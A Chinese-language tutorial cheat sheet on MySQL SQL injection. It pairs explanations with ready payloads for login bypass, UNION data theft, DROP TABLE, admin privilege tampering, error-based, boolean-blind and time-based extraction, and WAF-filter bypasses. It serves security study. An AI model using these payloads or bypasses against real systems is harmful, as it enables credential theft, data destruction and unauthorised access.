q
基础复习
IFORMATION_SCHEMA数据库
information_schema.tables 存储了所有存在数据库名、数据库表、表字段,其中,关键的三个表为:
1 | information_schema.tables: #该数据表存储了mysql数据库中的所有数据表的表名 |
示例:
1 | 查询所有数据库:select schema_name from information_schema.schemata; |
常用函数
数据库信息
1 | database() 数据库名称 |
数据库版本信息
1 | VERSION() 数据库版本信息 |
数据库用户信息
1 | user() 系统用户和登录主机名 |
服务器主机信息
1 | @@HOSTNAME 主机名称 |
服务器其他信息
1 | load_file('filepath'):读取本地文件 |
密码相关信息
加密方式:
- MySQL 4.1 及之前使用 MYSQL323 加密(16 位哈希)。
- MySQL 4.1 到 5.7 使用 mysql_native_password(SHA-1 哈希,41 位字符串,带 * 号)。
- MySQL 8.0 默认使用 caching_sha2_password(SHA-256 哈希),同时支持
当MySQL<8.0时,是用 password() 函数对密码加密。当MySQL>8.0时,MySQL取消了 password() 函数。
密码存储位置:
当MySQL<5.7,密码字段在mysql数据库的user表的password字段里
1 | select user,password from mysql.user; |
当MySQL>=5.7,密码字段在mysql数据库的user表的authentication_string字段里
1 | select user,authentication_string from user; |
sql常见出现点
1. 用户登录表单
场景:登录页面的用户名/密码输入框
注入点:
1
' OR '1'='1' --
使查询恒真,绕过身份验证:
1
2SELECT * FROM users WHERE username = '[input]' AND password = '[input]'
→ SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '任意值'
2. 搜索框
场景:商品搜索、内容检索
注入点:
1
'; DROP TABLE users; --
拼接后执行破坏性操作:
1
2SELECT * FROM products WHERE name LIKE '%[input]%'
→ SELECT * FROM products WHERE name LIKE '%'; DROP TABLE users; -- %'
3. URL参数(GET请求)
场景:分页、详情页ID(如
product?id=123)注入点:
1
https://example.com/product?id=1' UNION SELECT password FROM users --
窃取敏感数据:
1
2SELECT * FROM products WHERE id = [input]
→ SELECT * FROM products WHERE id = 1' UNION SELECT password FROM users --
4. HTTP头部字段
场景:
Cookie(如会话ID)User-Agent(浏览器标识)X-Forwarded-For(客户端IP)
注入点:
伪造恶意头部:
1
User-Agent: '; SELECT * FROM credit_cards --
若后端记录日志时拼接SQL:
1
INSERT INTO logs (user_agent) VALUES ('[input]')
5. 排序参数(ORDER BY)
场景:表格排序(如
?sort=price)注入点:
1
?sort=(CASE WHEN (SELECT password FROM users WHERE id=1)='admin' THEN price ELSE name END)
通过条件判断盲注探测数据:
1
SELECT * FROM products ORDER BY [input]
6. 注册/更新表单
场景:
- 用户注册(邮箱、用户名)
- 个人资料更新(地址、电话)
注入点:
在邮箱字段注入:
1
'; UPDATE users SET is_admin=1 WHERE id=1001; --
篡改权限:
1
2INSERT INTO users (email) VALUES ('[input]')
→ INSERT INTO users (email) VALUES (''; UPDATE users SET is_admin=1 WHERE id=1001; -- ')
7. 隐藏表单字段
场景:
HTML中隐藏的<input type="hidden">(如用户ID、价格)注入点:
篡改隐藏字段值:
1
<input name="user_id" value="1' OR '1'='1" type="hidden">
影响查询逻辑:
1
UPDATE orders SET status='paid' WHERE user_id = [input]
8. API请求参数(JSON/XML)
场景:
RESTful API接口(如提交JSON数据)注入点:
恶意JSON内容:
1
{ "username": "admin'-- ", "password": "any" }
若后端直接拼接:
1
SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'any'
常见注入方法
借助页面回显
基本步骤:
1.判断注入类型
2.判断字段数
3.爆显示位
4.查库名,表名,列名…
页面无回显
报错注入
使用前提:Web 应用程序未关闭数据库报错函数,对于一些 SQL 语句的错误直接回显在页面上(注意不是代码的报错,代码的报错一般没什么有用信息)
XPath语法错误
updatexml函数的基本语法:
1 | updatexml(xml_document, XPath_string, new_value) |
其中,xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。在报错注入中,我们通常将第一个和第三个参数设置为任意值,重点是通过第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。
回显错误点:
当 XPath_string 非法时,会报如下错误,并显示具体数据
1 | XPATH syntax error: '<payload>' |
模板:
1 | updatexml(1,concat(0x1,查询语句),1) |
extractvalue函数:
extractvalue(xml_frag, xpath_expr)
其中,xml_frag是XML片段,xpath_expr是Xpath表达式。在报错注入中,通过提供一个无效的Xpath表达式,导致函数报错,从而获取数据。
模板:
1 | extractvalue(1,concat(0x1,查询语句)) |
GTID集格式报错
gtid_subset函数
使用要求mysql>= 5.6
功能:gtid_subset函数用于判断 GTID 集合 set1 是否为 set2 的子集。
1 | gtid_subset(set1, set2) |
当输入的 GTID 集合格式不合法时,MySQL 会抛出错误
1 | ERROR 1772 (HY000): Malformed GTID set specification 'xxx' |
模板:
1 | gtid_subset((查询语句), '1'); |
GTID_SUBTRACT()
功能:计算两个 GTID 集合的差集
模板:
1 | gtid_subtract((查询语句), '1'); |
rand函数导致主键重复报错(floor双查询)
原理见less4
模板:
1 | select count(*),concat((查询语句),floor(rand(0)*2))x from information_schema.tables group by x |
UUID主键报错
UUID_TO_BIN
使用要求:
MySQL >= 5.7.6
1 | UUID_TO_BIN(uuid_str[, swap_flag]) |
UUID_TO_BIN 函数用于将 UUID 字符串转换为二进制格式
uuid_str 为合法的 UUID 字符串;
swap_flag(可选)为布尔值,用于指定是否转换时间戳顺序。
当输入参数格式非法时,MySQL 会抛出错误
模板:
1 | UUID_TO_BIN(查询语句); |
BIN_TO_UUID
使用要求:MySQL ≥ 8.0.0
1 | BIN_TO_UUID(binary_uuid[, swap_flag]) |
模板:
1 | BIN_TO_UUID(查询语句); |
使用示例
查询
1.若后端存在:
1 | select * from data where title like '%可控%'; |
可以插入'-gtid_subtract(user(),1)-'
1 | select * from data where title like '%'-gtid_subtract(user(),1)-'%'; |
减号在这里的作用是运算符,同时也用于结束字符串的上下文,进入表达式运算的上下文,从而让**gtid_subtract(user(),1)**被执行
插入
1 | INSERT INTO users (id, name, age, email) VALUES (1, '可控点', 30, 'zhangsan@example.com'); |
同样使用之前的
1 | INSERT INTO users (id, name, age, email) VALUES (1, ''-gtid_subtract(user(),1)-'', 30, 'zhangsan@example.com'); |
布尔盲注
适用于无回显,无报错,只有返回正确的错误页面的情况。
condition
我们在盲注中首先就要找到condition,这个condition控制着页面true和false的回显
注入方法
我们主要通过截取某个数据的字符然后根据返回的页面来判断对错。
截取常用函数
substr
1 | substr(要截取的字符串,从哪一位开始截取,截取多长) |
mid
功能与substr类似,不过只能在mysql中用。
right()
表示截取字符串的右面几位
right(截取的字符串,截取长度)
ascii(right(所截取字符串, x))会返回从右往左数的第x位的ASCII码
left()
类似right截取左边几位
ascii(reverse(left(所截取字符串, x)))会返回从左往右数的第x位的ASCII码
regexp
1 | binary 目标字符串 regexp 正则 |
直接字符串 regexp 正则表达式是大小写不敏感的,需要大小写敏感需要加上binary关键字
举例
1 | select 'a' regexp 'A'; 结果为1 |
rlike
类似regexp
比较函数
BETWEEN
用法:expr BETWEEN 下界 AND 上界;
这里的上下界可以相等,x between i and i就是表示x是否等于i的意思.
IN
1 | expr1 in (expr1, expr2, expr3) |
有点像数学中的元素是否属于一个集合。同样也是大小写不敏感的,为了大小写敏感需要用binary关键字。
减法运算
在盲注中,可以用一个true去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:
1 | select 1 and ascii('a')-97; //如果结果为0说明这位字符是chr(97) |
异或注入
异或更多应用在不能使用注释符的情况下
如果SQL语句为SELECT xx FROM yy WHERE zz = '$your_input';因为用户的输入后面还有一个单引号,很多时候我们使用#或者–直接注释掉了这个单引号,但是如果注释符被过滤了,那么这个单引号就必须作为SQL语句的一部分
例:
1 | WHERE zz = 'xx' or '1'^(condition)^'1'; |
CASE
1 | CASE WHEN (表达式) THEN exp1 ELSE exp2 END; # 表示如果表达式为真则返回exp1,否则返回exp2 |
例:
1 | SELECT CASE 'a' WHEN 'a' THEN 1 ELSE 0 END; |
IF
1 | IF(表达式, exp1, exp2); # 表示如果表达式为真则返回exp1,否则返回exp2 |
ELT
如果IF跟CASE被ban了可以使用elt函数代替。
1 | ELT(N, str1, str2, str3, ..., strN) |
N 的值对应于这些字符串的索引
通常的 ELT 用法:
1 | SELECT ELT(condition, 'true_value', 'false_value'); |
笛卡尔积延时注入
见之前的博客。
布尔报错盲注
在某些情况下的布尔盲注可能没办法通过页面上本身的数据来构造true跟false两种状态,怎么样构造条件响应内容都一样,可以使用一些特性或函数当执行时会触发数据库报错来构造true跟false
简单的poc
1 | if( condition, 报错, 不报错); |
数据溢出报错
exp()
用于计算e的x次方的函数,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。
cot()
余切三角函数
1 | cot(0);//报错 |
Pow()
POW(x, y)求x的y次方
1 | pow(1,999999);//正常 |
~
使⽤~符号后,当前⾯⼀个数字小于后⾯⼀个数字的时候,就会触发溢出导致报错。
例如:
1 | admin'|| ~2+2 | '1 不报错 |
溢出报错的使用
逻辑运算
在逻辑运算中会返回true跟false,在mysql里面如果这两个参与运算true为1,false为0,根据这个特性我们构造出如下的poc来判断用户名长度是否大于7。
1 | (length(user())==14 |
也可以这样,如果条件满足返回的是1 就会出发报错。
~
1 | SELECT ~0+(condition); |
算术运算
上面提到了通过逻辑运算来减去0 1,当然也可以减去正常函数的返回值,比如710减去length(user()),假设用户名长度为14 那么运算后710-14=696不满足报错条件,通过调整前面的的值 710、711…724当到临界点的时候比如724-14=710刚好报错,通过724-710=14即可得到具体14位数poc如下所示。
1 | (length(user())==14 |
函数报错构造
updataxml
updatexml(1,if(1=1,1,0x1),1)
rlike
0x28 是十六进制,对应 ASCII 字符 (。若直接将其作为正则表达式(如 RLIKE 0x28),等效于 RLIKE (,此时正则表达式因未闭合括号而非法。
例如这个例子就会导致报错。
1 | select (1 rlike 0x28); |
通过配合if 就可以构造出true 跟 false。
1 | select (1 rlike if(条件,1,0x28)); |
regexp
regexp跟rlike同理
1 | select (1 regexp if(条件,1,0x28)); |
布尔延时注入
布尔延时盲注利用了数据库的延迟响应来推断信息。在某些情况下的布尔盲注可能没办法通过页面上本身的数据来构造true跟false两种状态,怎么样构造条件响应内容都一样或者页面根本没有任何响应信息,此时可以通过构造SQL语句来强制数据库在满足特定条件时延时响应
主要延时函数
sleep()
1 | SLEEP(seconds); |
- seconds:表示暂停的时间,单位是秒。这个值可以是整数,也可以是浮动的小数。例如,SLEEP(5) 会让查询暂停 5 秒钟,而 SLEEP(0.5) 会让查询暂停 0.5 秒钟。
如果使用 SLEEP() 函数返回多条记录,每条记录都会独立地暂停指定的时间。这是因为 SLEEP() 是在每一行的执行过程中被调用的,因此如果查询返回多条记录,每条记录都会独立地调用 SLEEP(),并且每个调用都会导致查询暂停。
例如下面这个例子,查询一共会返回三条记录,这里就算是延时一秒最终是 1秒 × 3条记录 = 3秒。
1 | SELECT * FROM `sqli_data` WHERE 1=1 and sleep(1) |
我们还能这样写
1 | (select*from(select+sleep(1))a) |
现在解析一下这个poc,这个是利用子查询来达到只返回一条,这样子不管查询返回几条,在子查询里面只有一条也只会延时一次。
外层的查询 select * from (...) 表示从一个子查询中获取所有字段。
子查询部分是 select sleep(1),调用数据库的 sleep() 函数。
最后面的a是别名的缩写,不缩写的话是这样写as a,在mysql内子查询必须要一个别名;
拿这个poc去试试看刚才那个例子,可以看到这次只延时了一秒。
benchmark
BENCHMARK函数用于重复执行某表达式,语法:
复制
1 | BENCHMARK(count, expression) |
- count:执行 expression 的次数。
- expression:要执行的 SQL 表达式,通常是一个查询、计算或者某些函数调用。
比如这里执行10000000次sha(1)的时间就可以造成延时,如果不延时不明显可以这样sha1(sha1(sha1(sha1())))多套几层,来增加延时时间。
1 | SELECT benchmark( 10000000, sha1( 'test' )); |
正则表达式
原理是通过大量的正则匹配实现延时,与benchmark和前面说的heavy query本质相似。
例如:
1 | select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); |
通用poc
从网络上看到了一个poc可以同时测试 数字 单引号 双引号下的延时注入,语句如下。
1 | -延时语句1/*'XOR(延时语句2)OR'"XOR(延时语句3))OR"*/ |
构造一下如下:
1 | -(select*from(select sleep(1))a)/*'XOR((select*from(select sleep(1))a))OR'"XOR((select*from(select sleep(1))a)))OR"*/ |
可以简单分析一下,先从数值型注入开始,通过高亮也可以看出来,如果是数值型的话,后面那部分内容就会/* 注释不生效。
1 | SELECT * FROM `sqli_data` WHERE 1-延时语句/*'XOR(延时语句)OR'"XOR(延时语句))OR"*/ |
单引号时延时语句1等内容都在单引号前所以不会执行,只会执行延时语句2,延时语句3部分在这里是字符串。
1 | SELECT * FROM `sqli_data` WHERE '1-延时语句1/*'XOR(延时语句2)OR'"XOR(延时语句3))OR"*/' |

双引号时,情况如单引号差不多。

常见waf绕过
空格被过滤
emoji
如果空格被过滤可以把空格换成%23emoji%0a
例如
1 | union select |
–%0a与%00
–%0a代替空格,但两个连用不行,这时在前面用一个%00并url编码,原理是waf把空字节认为是结束导致了后面的语句可以绕过
关键字被过滤
全局替换绕过
绕过方法是在关键字中穿插<>,因为会先判断是否存在sql注入关键字然后进行全局关键字替换<>来防止xss漏洞
例如
1 | union select |
脏数据绕过
脏数据绕过利用了 WAF/过滤层 与 数据库引擎 在对“异常”输入数据解析逻辑上的差异。攻击者精心构造看似混乱、非法、超出预期的输入(脏数据),目的在于干扰或欺骗前端的防御机制,使其无法正确识别隐藏其中的恶意 SQL 片段,而数据库在最终执行时却能按照攻击者的意图解析这些片段
例如
这里是updataxml关键字给过滤了

伪注释绕过
1 | Id=注入语句 |
WAF不会识别/**/注释中的内容
PHP (或其他后端语言) 在处理请求时,会将整个查询字符串 A=/*&Id=1 UNION SELECT username,password FROM users&b=*/ 中的各个值提取出来。
应用逻辑按照设计,只关心真正需要的参数 Id,而忽略无关参数(如 A 和 b)。